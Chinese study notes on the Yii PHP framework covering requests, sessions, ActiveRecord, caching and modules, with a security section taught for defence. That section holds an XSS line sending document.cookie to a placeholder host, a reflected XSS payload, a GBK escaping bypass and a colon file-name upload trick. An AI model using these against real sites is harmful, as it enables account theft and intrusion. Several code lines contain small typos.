Yii框架学习笔记

Yii框架部分笔记内容整理。

Yii框架学习笔记

Yii

-----------------yii基础篇-------------------------

快速、安全、稳定

requirements.php检测系统环境

cookieValidationKey防止cookie攻击

命名空间 使用不同命名空间,避免类的重定义

r路由地址中的字母必须小写,r=Index/index 404

------
接收请求
$request = \Yii::$app->request;
echo $request->get('id',0);
if($request->isPost){
    echo $request->userIP;
}

//操作响应信息
$response = \Yii::$app->response;
$response->statusCode = '404';
$response->headers->add('pragma','no-cache');
$response->headers->set('pragma','max-age=5');
$response->headers->remove('pragma');

//跳转
$response->statusCode = '302';
$response->header->add('location','http://www.baidu.com');
//$this->redirect('http://www.baidu.com',302);


//文件下载
$response->headers->add('content-disposition','attachment; filename="a.jpg"');
//$response->sendFile('./robots.txt');


------------session
//session继承ArrayAccess,凡是继承了ArrayAccess的都可以当作对象或数组来处理。

$session = \Yii::$app->session;
$session->open();

if($session->isActive){
    echo 'session is active';
}

$session->set('user','zhangsan');
echo $session->get('user');
$session->remove('user');

$session['user'] = 'zhangsan';
echo $session['user'];
unset($session['user']);


---------------cookie
//浏览器响应的时候添加cookie,请求的时候获取cookie
//添加cookie
$cookies = \Yii::$app->response->cookies;
$cookie_data = ['name'=>'user','value'=>'zhangsan'];
$cookies->add(new Cookie($cookie_data));

//删除cookie
$cookies->remove('user');

//获取cookie
$cookies = \Yii:$app->request->cookies;
$cookies->getValue('user',DefaultNullValue);

-----------视图
return $this->render();
return $this->renderPartial(); //基类Controller中的方法


//视图数据传递
$str = 'hello';
$arr = [1,2];

$data = [];
$data = ['str'=>$str, 'arr'=>$arr];
return $this->renderPartial('index', $data);

index.php
<?=$str?>
<?=$arr[0]?>

//数据安全
use yii\helpers\Html;
use yii\helpers\HtmlPurifier;

<?= echo Html::encode($str);?> //实体化
<?= echo HtmlPurifier::process($str);?>  //过滤标签


//视图布局文件
public $layout = 'main';

main.php
...
<?=$content?>
...

//视图中显示另一个模版文件
index.php 传递参数
<?php echo $this->render('about',array('str'=>'hello')) ?>
about.php
<?=$str?>


//数据块
//想要替换布局文件中某一部分内容,不同页面展示不同信息
index.php
<?php $this->beginBlock('block'); ?>
content
<?php $this->endBlock(); ?>

main.php布局文件
<?php if(isset($this->blocks['block'])): ?>
<?=$this->blocks['block']?>
<?php else: ?>
default content
<?php endif; ?>


----------------------数据库
配置文件位置 config/db.php
advanced版本的在common/main-local.php

//数据模型活动记录创建
namespace app\models;

use yii\db\ActiveRecord;
class Test extends ActiveRecord{
    
}
//test跟数据的表名要一致,如果不一致则要定义
public static function tableName(){
    return 'ic_table';
}

//数据模型 单表查询
$sql = 'select * from test where id=1';
$res = Test::findBySql($sql)->all();

//使用占位符尽量避免sql注入
$sql = 'select * from test where id=:id';
$res = Test::findBySql($sql,[':id'=>'1 or 1=1'])->all();

//id=1
$res = Test::find()->where(['id'=>1])->all();
//id>0
$res = Test::find()->where(['>','id',0])->all();
//id>=1 & id<=2
$res = Test::find()->where(['between','id',1,2])->all();
//like
$res = Test::find()->where(['like','title','hello']);

//查询结果转化为数组
$res = Test::find()->where(['between','id',1,3])->asArray()->all();

//批量查询 缓解内存压力
foreach(Test::find()->batch(10) as $test){
    print_r(count($test));
}

//model删除数据
$res = Test::find()->where(['id'=>1])->all();
$res[0]->delete;

//deleteAll传入条件
Test::deleteAll('id>:id',[':id'=>0]);

//model添加数据
//model中对数据进行验证
pulic function rules(){
    return [
        ['id','integer'],
        ['title','string','length'=>[0,5]]
    ];
}
//controller添加数据
$test = new Test;
$test->id = 4;
$test->title = 'title4';
$test->validate();
if($test->hasErrors()){
    echo 'data is error';
    die;
}
$test->save();

//数据修改
$test = Test::find()->where(['id'=>4])->one();
$test->title = 4;
$test->save();


//数据模型 关联查询

一对多: return $this->hasMany(Model::className(), ['key' => 'primary key'])->asArray();
多对一或一对一: return $this->hasOne(Model::className(), ['key' => 'primary key])->asArray();

//根据顾客查询他的所有订单
$customer = Customer::find()->where(['name'=>'zhangsan'])->one();
$orders = $customer->hasMany(Order::className(), ['customer_id'=>'id'])->asArray()->all();

//model中写入函数查询

//$orders = $customer->getOrders;
$orders = $customer->orders;

//由于model中存中_get(),可以直接调整$Model->XXXX;相当于执行了$Model->getXXXX()->all/one(), 方法会根据hasMany/hasOne自动补上all/one();


//根据订单查询客户信息
$order = Order::find()->where(['id'=>1])->one();
$customer = $order->customer;
//此时模型中需要定义方法getCustomer方法
Order.php
public functino getCustomer(){
    return $this->hasOne(Customer::className(),['id'=>'customer_id'])->asArray();
}


//数据模型关联查询性能问题

//关联查询结果缓存
$customer = Customer::find()->where(['name'=>'zhangsan'])->one();
$order = $customer->orders;
unset($customer->orders); //清除缓存
$order2 = $coustomer->orders;

//关联查询的多次查询
// select * from customer
// select * from orders where customer id in(...) //使用with后生成一条查询语句,而不是重复执行
$customers = Customer::find()->with('orders')->all();
foreach($customers as $customer){
    $orders = $customer->orders;//select * from order where customer_id=...
}




-----------------yii高效篇-------------------------

延迟加载
缓存
gii快速开发工具


//类的延迟加载
//一个文件中同时加载2个类,在一定条件下只能使用其中一个,则同时加载两个就是对资源的浪费。此时可以考虑判断加载
if(true){
    require 'class1.php';
}else{
    require 'class2.php';
}

自动加载机制
function my_loader($class){
    require('class\\'.$class.'.php')
}
spl_autoload_register('my_loader');


//类的映射表机制  使用类的映射表语句加快类的加载速度

HelloController.php
public function actionIndex(){
    \Yii::$classMap['app\models\Order'] = 'd:\www\basic\models\Order.php';
    $order = new Order;
}

//可以通过Yii::$classMap对延迟加载机制进行优化,是典型的空间换时间的做法,所以不建议往classMap中放入太多不常用的内容,避免内存占用过多


//组件的延迟加载
//组件的延迟加载本质上是通过魔术方法__get()做到的。index.php请求交给应用主体后,应用主题实例化后会加载一系列的组件,如session,response等,应用主体并不会直接加载,而是会交给控制器使用时才被加载进来。
$session = \Yii::$app->session();



//数据缓存
//获取缓存组件
$cache = \Yii::$app->cache;
//write
$cache->add('key1','hello key1');
$cache->add('key2','hello key2',15);//缓存15秒
//read
$data = $cache->get('key1');
//update
$cache->set('key1','hello new key');
//delete
$cache->delete('key1');
//清空数据
$chache->flush();


//数据缓存  依赖关系  文件依赖 表达式依赖 db依赖
$cache = \Yii::$app->cache;
//文件依赖
$dependency = new \yii\caching\FileDependency(['filename'=>'ic.txt']);
$cache->add('file_key','hello world',3000,$dependency);

//表达式依赖
$dependency = new \yii\caching\ExpressionDependency(
    ['expression'=> '\Yii::$app->request->get('name')]
);
//依赖get参数


//DB依赖
$dependency = new \yii\caching\DbDependency(
    ['sql'=>'select count(*) from yii.order']
);



//片段缓存介绍
index.php
<?php if($this->beginCache('cache_div')){ ?>
<div id="cache_div">
    这里会被缓存
</div>
<?php $this->endCache(); } ?>

<div id="no_cache_div">
    不会被缓存
</div>

//片段缓存设置
//缓存时间
$duration = 15;
//缓存依赖
$dependency = [
    'class' => 'yii\caching\FileDependency',
    'filename' => 'ic.txt'
]
//缓存开关
$enabled = true;

$this->beginCache('cache_div',['enabled'=>$enabled])


//缓存嵌套  主要依赖外层时效
<?php if($this->beginCache('cache_outer_div',['duration'=>20])){ ?>
<div id="cache_outer_div">
    waiceng
    <?php if($this->beginCache('cache_inner_div',['duration'=>5])){ ?>
    <div id="cache_inner_div">
        neiceng
    </div>
    <?php $this->endCache(); } ?>
</div>
<?php $this->endCache(); } ?>



//页面缓存
//控制器中behaviors方法中最先被执行
public function behaviors(){
    return [
        [
            'class' => 'yii\filters\PageCache',
            'duration' => 1000,
            'only' => ['index,hello'],
            'dependency' => [
                'class' => 'yii\caching\FileDependency',
                'fileName' => 'ic.txt'
            ]
        ]
    ];
}




//http缓存
依据last_modify 和 etag 来判断是否被真正修改,未修改则返回304

//http缓存位置 缓存时机
public function behaviors(){
    return [
        [
            'class' => 'yii\filter\HttpCache',
            'lastModified'=>function(){
                return 1433333333;
            },
            'etagSeed'=>function(){
                return 'etag';
            }
        ]
    ];
}

//使用HttpCache后,会增加Cache-Control last-modified
public function behaviors(){
    return [
        [
            'class' => 'yii\filter\HttpCache',
            'lastModified'=>function(){
                return filemtime('robots.txt');
            },
            'etagSeed'=>function(){
                $fp = fopen('robots.txt','r');
                $title = fgets($fp); //fgets() 函数从文件指针中读取一行。
                fclose($fp);
                return $title;
            }
        ]
    ];
}



-----------------------gii
rules 进行字段的约束
public function rules(){
    return [
        [['title'],'required'],
        [[title],'string','max'=>200]
    ]
}

attributeLabels 返回数据库字段 注释
//为rules提供数据返回错误信息  表单操作时提示输入内容
public function attributeLabels(){
    return [
        'id'=>'ID',
        'title'=>'请输入标题',
    ]
}

//tablePrefix = 'ic_'



-------------------------------

-----------------yii安全篇-------------------------
攻击方式:XSS CSRF SQL注入 文件上传漏洞

XSS攻击:cross site scripting
盗号、转账、篡改、挂马


XSS盗号代码
var cookies = document.cookie;
window.location.href="http://www.xx.com/index.php?cookie="+cookie;

标记httponly阻止js读取cookie


XSS攻击转账代码
document.getElementById('key').value = "xx@taobao.com";
...


反射型xss
xx.com/index.php?r=index/index&name=<script>alert(4)</script>

现代浏览器对于xss有一定防护,Yii关闭:\Yii::$app->response->headers->add('X-XSS-Protection','0');

URL编码,控制台:escape(str)

XSS可以通过img标签注入,引发错误触发onerror将js代码注入到onerror中

YII狂降防范xss,Html::encode($str) == htmlspecialchars($str)

\Yii\helpers\HtmlPurifier::process($js); 过滤



------------------------------------CSRF攻击
get型:构造url,诱使用户点击
post型:在用户已登录的情况下,伪造表单,生成链接诱使用户点击,从而盗取用户身份进行操作(发帖、评论、转账等)

csrf攻击防范:
验证码
referer头
token


Yii框架防范csrf攻击
提交表单添加 hidden name:_csrf  value:{$csrfToken}
控制器:$csrfToken = \Yii::$app->request->csrfToken;


----------------------sql注入
绕过转义
char(0xdf)/'在utf8下会编程β/',而gbk下由于汉字是2个字节组成,在数据中将变成運',单引号逃过了被转义。

Yii框架使用占位符
db.php 将emulatePrepare 设为false,目的是由数据库对字符串进行转义操作,阻止sql注入


--------------------文件上传漏洞
上传文件数据时,请求数据可以在出发前被拦截并篡改
content-type可被修改, 文件名中加入:,可以通过后缀名验证,
并使move_uploaded_file执行时丢弃:之后的部分,使上传文件变成可执行的php
若上传文件没被重命名或重命名后的名字被发现,则可使文件可被任意执行
处理方式:严格检查文件,禁止出现":", 重命名文件,禁止目录列出文件,取消上传目录文件的执行权限





---------------------------Yii扩展篇--------------------------

Yii框架扩展性:
模块化、事件机制、mixin(混合、多重继承)、依赖注入


Yii框架模块化-----------------------
父级模块化
通过gii的modules生成对应的子模块
然后修改web.php,添加配置信息
'modules'=>['article'=>'app/modules/article/Article']

2级模块化
通过gii继续生成子模块,修改配置文件:
在actionInit中添加如下信息


public $controllerNamespace = 'app\modules\article\controllers';
public function init(){
    parent::init();
    $this->modules = [
        'category'=>[
            'class'=>'app/modules/article/modules/test/Test'
        ],
    ];
}

访问方式,如:index.php?r=article/test/default/index


父模块调用子模块方法
$module = \Yii::$app->getModule('module_name');
$action = $module->runAction('default/index',['params'=>$params]);

Tags: none

添加新评论